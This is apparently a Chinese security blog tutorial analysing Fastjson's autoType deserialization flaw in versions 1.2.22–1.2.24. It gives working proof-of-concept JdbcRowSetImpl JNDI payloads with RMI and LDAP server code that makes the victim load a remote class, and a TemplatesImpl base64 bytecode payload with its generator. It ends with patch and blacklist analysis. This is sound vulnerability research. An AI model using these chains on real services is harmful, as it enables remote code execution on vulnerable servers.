Fastjson简介
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
项目地址:https://github.com/alibaba/fastjson
Fastjson序列化与反序列化
序列化
Student.java
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
然后通过Ser.java进行序列化
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}
SerializerFeature.WriteClassName
是toJSONString
设置的一个属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,type
可以指定反序列化的类,并且调用其getter/setter/is
方法。
没加SerializerFeature.WriteClassName
时
反序列化
上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
看下面几种反序列化方法
一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type
,修改后代码如下
这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType
所以导致了fastjson反序列化漏洞
Fastjson反序列化漏洞
我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例
Student.java
import java.io.IOException;
public class Student {
private String name;
private int age;
private String sex;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}
Unser.java
import com.alibaba.fastjson.JSON;
public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}
Fastjson反序列化流程分析
在parseObject处下断点,跟进
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
第一行将json字符串转化成对象,跟进parse
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
继续跟进
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作
int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); }
判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12,所以进入如下判断
case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName);
在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()); if (clazz != null) { lexer.nextToken(16); if (lexer.token() != 13) { this.setResolveStatus(2); if (this.context != null && !(fieldName instanceof Integer)) { this.popContext(); } if (object.size() > 0) { instance = TypeUtils.cast(object, clazz, this.config); this.parseObject(instance); thisObj = instance; return thisObj; }
这里会通过scanSymbol获取到@type指定类
然后通过 TypeUtils.loadClass 方法加载Class
这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类
接着创建了ObjectDeserializer类并调用了deserialze方法
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);thisObj = deserializer.deserialze(this, clazz, fieldName);return thisObj;
首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法
Fastjson 1.2.22-1.2.24反序列化漏洞
这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用
漏洞复现
RMI+JNDI
POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
服务端JNDIServer.java
public class JNDIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exloit", "badClassName","http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); }}
远程恶意类badClassName.class
public class badClassName { static{ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch(Exception e){ ; } }}
客户端JNDIClient.java
import com.alibaba.fastjson.JSON;public class JNDIClient { public static void main(String[] argv){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}"; JSON.parse(payload); }}
LDAP+JNDI
POC和上面一样,就是改了一下url,因为是ldap了
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
LdapServer.java
这里需要unboundid-ldapsdk
包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)
import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8888/#badClassName"; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }}
LDAPClient.java
import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient { public static void main(String[] args) throws Exception{ try { Context context = new InitialContext(); context.lookup("ldap://127.0.0.1:1389/badClassName"); } catch (NamingException e) { e.printStackTrace(); } }}
恶意远程类和上面一样
漏洞分析
前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分
调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址
接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数
跟进connect方法
这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。
调用栈如下:
connect:643, JdbcRowSetImpl (com.sun.rowset)setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:57, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:606, Method (java.lang.reflect)setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)parse:137, JSON (com.alibaba.fastjson)parse:128, JSON (com.alibaba.fastjson)main:6, JNDIClient
TemplatesImpl利用链
漏洞原理:Fastjson通过bytecodes
字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习
漏洞复现
TEMPOC.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TEMPOC extends AbstractTranslet { public TEMPOC() throws IOException { Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { TEMPOC t = new TEMPOC(); }}
这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload
import base64fin = open(r"TEMPOC.class","rb")byte = fin.read()fout = base64.b64encode(byte).decode("utf-8")poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% foutprint poc
POC如下
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
漏洞分析
前面的流程是通用的,直接分析不同的部分。
进入deserialze后解析到key为_bytecodes
时,调用parseField()进一步解析
跟进parseField方法,对_bytecodes
对应的内容进行解析
跟进FieldDeserializer#parseField方法
解析出_bytecodes
对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
这里使用了set方法来设置_bytecodes
的值
接着解析到_outputProperties
的内容
这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进TemplatesImpl#getOutputProperties
跟进newTransformer方法
跟进getTransletInstance方法
这里通过defineTransletClasses创建了TEMPOC类并生成了实例
进而执行TEMPOC类的构造方法
所以就执行了任意代码,整个调用栈如下
<init>:13, TEMPOCnewInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)parse:137, JSON (com.alibaba.fastjson)parse:193, JSON (com.alibaba.fastjson)parseObject:197, JSON (com.alibaba.fastjson)main:7, Unser
一些问题解惑
为什么要继承AbstractTranslet类
上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例,现在我们跟进这个方法看一看
如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常
为什么需要对_bytecodes进行Base64编码
上面说了通过FieldDeserializer#parseField对_bytecodes
对应的内容进行解析得到对value是base64解码后的内容,那么我们就看一看value值怎么来的
跟进deserialze方法
跟进parseArray方法
跟进ObjectDeserializer#deserializer方法
跟进byteValue方法
将_bytecodes
的内容进行base64解码
为什么需要设置_tfactory为{}
在调用defineTransletClasses方法时,若_tfactory
为null则会导致代码报错
补丁分析
从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:
使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链
bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework